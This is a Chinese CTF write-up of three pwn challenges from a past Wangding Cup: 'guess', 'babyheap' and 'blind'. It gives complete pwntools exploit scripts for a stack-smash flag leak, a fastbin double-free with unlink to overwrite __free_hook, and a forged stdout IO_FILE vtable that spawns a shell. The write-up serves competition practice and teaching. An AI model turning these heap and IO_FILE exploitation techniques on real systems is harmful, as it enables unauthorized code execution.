因为下个月要参加网鼎杯,看一下上一届的题

guess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

```cpp
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));

这题开启了canary,并且将flag.txt的内容读到了栈中,让人不禁想到stack smash (想了好久。。
一开始没想明白程序是怎么执行的,几乎没做过开发,第一次见到fork()这个函数,上网看了一下前辈的博客。
fork()会创建一个子进程,并且在进程表中为他建立一个新的表项,复制父进程的几乎所有信息,只有fork()的返回值不同,子进程返回0,父进程返回子进程的pid。

1
2
3
4
5
6
7
8
9
10
11
12
13
while ( 1 )
{
if ( v6 >= v7 )//控制fork次数
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )//子进程在此处跳出循环
break;
++v6;
wait((__WAIT_STATUS)&stat_loc); //父进程在此处堵塞等待子进程exit
}

跟进一下___stack_chk_fail函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
───────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────
In file: /home/sivona/glibc-2.23/debug/stack_chk_fail.c
22 extern char **__libc_argv attribute_hidden;
23
24 void
25 __attribute__ ((noreturn))
26 __stack_chk_fail (void)
27 {
28 __fortify_fail ("stack smashing detected");
29 }
───────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────
In file: /home/sivona/glibc-2.23/debug/fortify_fail.c
32 do_abort = 1;
33 else
34 do_abort = 2;
35 /* The loop is added only to keep gcc happy. */
36 while (1)
37 __libc_message (do_abort, "*** %s ***: %s terminated\n",
38 msg, __libc_argv[0] ?: "<unknown>");
39 }
40 libc_hidden_def (__fortify_fail)

计算一下__libc_argv和我们输入的内容的偏移就可以打印flag,当然因为aslr还需要泄露libc和栈地址,同样利用stack smash 泄露_environ地址,计算flag偏移。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = "debug"
#io = process("./GUESS", env = {"LD_PRELOAD": "./libc.so.6"})
io = remote("node3.buuoj.cn",29959)
elf = ELF("./GUESS")
# libc = elf.libc
libc = ELF("./libc.so.6")


#gdb.attach(io, "b *0x400B23\n")
#pause()

io.sendlineafter("flag\n", 'a' * 0x128 + p64(elf.got['__libc_start_main']))
libc.address = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0')) - libc.sym['__libc_start_main']
info("libc:"+hex(libc.address))

io.sendlineafter("flag\n", 'a' * 0x128 + p64(libc.sym['_environ']))
stack = u64(io.recvuntil("\x7f")[-6: ].ljust(8, '\0'))
info("stack:"+hex(stack))

io.sendlineafter("flag\n", 'a' * 0x128 + p64(stack - 0x168))

io.interactive()

babyheap

众所周知babyheap都是骗人的

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序开启了Full RELRO我们不能修改got表,PIE关闭使得我们有机会在bss段写东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 new()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 9 && !ptr[v1] )
{
ptr[v1] = (char *)malloc(0x20uLL);
printf("Content:", &s);
readcontent((__int64)ptr[v1], 0x20u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 edit()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 0x1F && ptr[v1] && dword_6020B0 != 3 )
{
printf("Content:", &s);
readcontent((__int64)ptr[v1], 0x20u);
++dword_6020B0;
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 9 && ptr[v1] )
{
free(ptr[v1]); // uaf
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

程序只能分配10次0x30大小的chunk,edit也只能修改3次且限制长度0x20,在free后未将指针置零,存在uaf double free

思路是通过unlink修改bss段指针达到任意地址读写的目的

但是我们只能分配fastbin,所以通过double free泄露堆地址并且在堆中构造fake unlink的环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/30gx 0x986000
0x986000: 0x0000000000000000 0x0000000000000031---chunk1
0x986010: 0x0000000000000000 0x0000000000000021---fake chunk
0x986020: 0x0000000000602088 0x0000000000602090---通过double free在此处分配chunk来修改chunk2的头
0x986030: 0x0000000000000020 0x0000000000000090---chunk2
0x986040: 0x0000000000980000 0x0000000000000000
0x986050: 0x0000000000000040 0x0000000000000090
0x986060: 0x0000000000000000 0x0000000000000031
0x986070: 0x0000000000000033 0x0000000000000000
0x986080: 0x0000000000000000 0x0000000000000000
0x986090: 0x0000000000000000 0x0000000000000031
0x9860a0: 0x0000000000000000 0x0000000000000031
0x9860b0: 0x0000000000000000 0x0000000000000000
0x9860c0: 0x0000000000000000 0x0000000000020f41
pwndbg> x/12gx 0x602060
0x602060: 0x0000000000000000 0x0000000000986010
0x602070: 0x0000000000986040 0x0000000000986070
0x602080: 0x00000000009860a0 0x0000000000986030
0x602090: 0x0000000000000000 0x0000000000986040
0x6020a0: 0x0000000000986010 0x0000000000986040
0x6020b0: 0x0000000000000001 0x0000000000000000

unlink成功后就可以任意地址读写了

1
2
3
4
5
6
7
pwndbg> x/12gx 0x602060
0x602060: 0x0000000000000000 0x0000000000986010
0x602070: 0x0000000000986040 0x0000000000986070
0x602080: 0x00000000009860a0 0x0000000000986030
0x602090: 0x0000000000000000 0x0000000000986040
0x6020a0: 0x0000000000602088 0x0000000000986040
0x6020b0: 0x0000000000000001 0x0000000000000000

我采取的方式是通过show puts@got来leak libc 注意修改edit的三次限制

还有一种leak思路是构造fake unsortedbin 但还是要unlink

然后修改free_hook拿到shell,malloc_hook不太行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import*
#p = process('./babyheap',env = {"LD_PRELOAD": "./libc.so.6"})
p = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc.so.6')
context.log_level='debug'

def g():
gdb.attach(p)
pause()

def new(index,content):
p.sendlineafter('Choice:','1')
p.sendlineafter('Index:',str(index))
p.sendlineafter('Content:',content)

def edit(index,content):
p.sendlineafter('Choice:','2')
p.sendlineafter('Index:',str(index))
p.sendlineafter('Content:',content)

def show(index):
p.sendlineafter('Choice:','3')
p.sendlineafter('Index:',str(index))

def free(index):
p.sendlineafter('Choice:','4')
p.sendlineafter('Index:',str(index))

bss=0x602060

new(1,'1')
new(2,'2')
new(3,'3')
new(4,p64(0)+p64(0x31))#top
free(2)
free(1)
free(2)#2---1---2
show(1)
leak=u64(p.recvuntil('\nDone!\n',drop=True).ljust(8,'\x00'))
info('#leak:'+hex(leak))
heap=leak-0x30
new(7,p64(heap+0x20)+p64(0)+p64(0x40)+p32(0x90))#2222
new(8,'a'*0x18+p32(0x31))#1111 bypass fastbin check
new(9,'2')
new(5,p64(0x20)+p64(0x90))
edit(8,p64(0)+p64(0x21)+p64(bss+0x8*8-0x18)+p32(bss+0x8*8-0x10))#bypass unlink check
g()
free(9)
edit(8,p64(0x6020b0)+p64(elf.got['puts']))#edit on 5 6
edit(5,'a')#fuck edit
show(6)#show puts@got
libc_base=u64(p.recvuntil('\nDone!',drop=True).ljust(8,'\x00'))-libc.sym['puts']
info("#libc_base:"+hex(libc_base))
edit(8,p64(libc_base+libc.sym['__free_hook']))#edit on 5
#edit(8,p64(libc_base+libc.sym['__malloc_hook'])+p64(libc_base+libc.sym['__realloc_hook']))#edit on 5 6 wanna atack realloc_hook
one_gadget=libc_base+0xf1147
edit(5,p64(one_gadget))
free(3)
p.interactive()

blind

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

同样开启了full relro无法修改GOT表,没有开启PIE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 new()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 5 && !ptr[v1] )
{
ptr[v1] = malloc(0x68uLL);
printf("Content:", &s);
read_str((__int64)ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

只能分配6个0x70大小的chunk且没有溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 edit()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 5 && ptr[v1] )
{
printf("Content:", &s);
read_str((__int64)ptr[v1], 0x68u);
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

没有溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 delete()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
char s; // [rsp+10h] [rbp-20h]
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index:");
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi(&s);
if ( v1 <= 5 && ptr[v1] && dword_602098 <= 2 )
{
free(ptr[v1]); // uaf
++dword_602098; // free 3次
puts("Done!");
}
return __readfsqword(0x28u) ^ v3;
}

和babyheap一样可以fastbin attack,但是这个在bss段上存在0x7f可以直接在bss段上分配chunk

但是这题没有show等函数来leak,一个思路是修改IO_FILE结构体中的指针实现leak

但是这题存在system(“/bin/sh”)可以直接利用

我们可以伪造一个vtable

通过在bss段上分配chunk达到任意地址写的目的 修改0x602020的stdout指针为我们伪造的IO_FILE结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
p _IO_2_1_stdout_ 
$6 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f488d7a46a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f488d7a38e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7f488d7a5780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7f488d7a37a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f488d7a26e0 <_IO_file_jumps>
1
2
3
4
5
6
x/10gx 0x00007f488d7a26e0
0x7f488d7a26e0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000
0x7f488d7a26f0 <_IO_file_jumps+16>: 0x00007f488d4589c0 0x00007f488d459730
0x7f488d7a2700 <_IO_file_jumps+32>: 0x00007f488d4594a0 0x00007f488d45a600
0x7f488d7a2710 <_IO_file_jumps+48>: 0x00007f488d45b980 0x00007f488d4581e0
0x7f488d7a2720 <_IO_file_jumps+64>: 0x00007f488d457ec0 0x00007f488d4574c0
1
2
3
4
5
6
pwndbg> x/10xi 0x00007f488d4581e0
0x7f488d4581e0 <_IO_new_file_xsputn>: xor eax,eax
0x7f488d4581e2 <_IO_new_file_xsputn+2>: test rdx,rdx
0x7f488d4581e5 <_IO_new_file_xsputn+5>: je 0x7f488d45826f <_IO_new_file_xsputn+143>
0x7f488d4581eb <_IO_new_file_xsputn+11>: push r15
0x7f488d4581ed <_IO_new_file_xsputn+13>: push r14

这个题调试费了我老大劲,因为我想优雅的伪造一个IO_FILE,但是搞了一晚上也没找到那些需要改那些不需要改

索性直接按照原来的稍微修改一下填进去。等有时间再系统学习一下IO_FILE的利用

需要注意的是调用puts时并不会使用0x602020处我们伪造的stdout,在调用prinf时才会用到

1
2
3
4
5
► 0x7f779c885f13 <buffered_vfprintf+179>    mov    eax, dword ptr [rbx]
0x7f779c885f15 <buffered_vfprintf+181> and eax, 0x8000
0x7f779c885f1a <buffered_vfprintf+186> jne buffered_vfprintf+274 <0x7f779c885f72>

RBX 0x6020a0 ◂— 0xfbad2887

程序在此处如果不跳转则进入__lll_lock_wait_private,所以设置flags=0x8000

但是修改之后的调试发现不会进入buffered_vfprintf

1
2
3
4
5
6
if (UNBUFFERED_P (s))
/* Use a helper function which will allocate a local temporary buffer
for the stream and then call us again. */
return buffered_vfprintf (s, format, ap);
#define UNBUFFERED_P(S) ((S)->_IO_file_flags & _IO_UNBUFFERED)
#define _IO_UNBUFFERED 2

在vfprintf中还有很有对flags的验证 0x8000都可以bypass

1
2
3
4
5
6
7
8
9
Dump of assembler code for function _IO_vfprintf_internal:
0x00007f6be7020221 <+177>: mov rax,QWORD PTR [rbx+0xd8]
0x00007f6be7020228 <+184>: mov rcx,r15
0x00007f6be702022b <+187>: mov rsi,r12
0x00007f6be702022e <+190>: sub rcx,r12
0x00007f6be7020231 <+193>: mov rdi,rbx
0x00007f6be7020234 <+196>: mov rdx,rcx
0x00007f6be7020237 <+199>: mov QWORD PTR [rbp-0x4b0],rcx
=> 0x00007f6be702023e <+206>: call QWORD PTR [rax+0x38]

还有一种思路是在bss上伪造一个unsorted bin 将其释放后并修改fd的低8位为\x00 就可以在malloc_hook上写了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn_debug import *
pdbg = pwn_debug("blind")
pdbg.local()
p = pdbg.run("local")

def new(index,content):
p.sendlineafter('Choice:','1')
p.sendlineafter('Index:',str(index))
p.sendlineafter('Content:',content)

def edit(index,content):
p.sendlineafter('Choice:','2')
p.sendlineafter('Index:',str(index))
p.sendlineafter('Content:',content)

def free(index):
p.sendlineafter('Choice:','3')
p.sendlineafter('Index:',str(index))

def g():
gdb.attach(p)
pause()

new(1,'aaaa')
new(2,'bbbb')
new(0,'cccc')
free(1)
free(2)#2------1-----x
edit(1,p64(0x60203d))
new(3,'bbbb')
new(4,'aaaa')
new(5,'dddd')

edit(5,'\x00'*3+p64(0)*2+p64(0x6020a0)+p64(0x6020a0+0x68)+p64(0x6020a0+0x68*2)+p64(0x6020a0+0x68*3)+p64(0x602020))

edit(0,p64(0x8000)+p64(0x602020)*7+p64(0x602021)+p64(0)*3)

edit(1,p64(0x602020)+p64(1)+p64(0xffffffffffffffff)+p64(0)+p64(0x602020)+p64(0xffffffffffffffff)+p64(0)+p64(0x602020)+p64(0)*3+p64(0x00000000ffffffff))

edit(2,p64(0)+p64(0x6020a0+0x68*3))
g()
edit(3,p64(0x4008E3)*10)
edit(4,p64(0x6020a0))
p.interactive()

reference

https://www.lyyl.online/2018/09/14/2018-9-14-%E7%BD%91%E9%BC%8E%E6%9D%AF-blind/

http://p4nda.top/2018/08/27/WDBCTF-2018/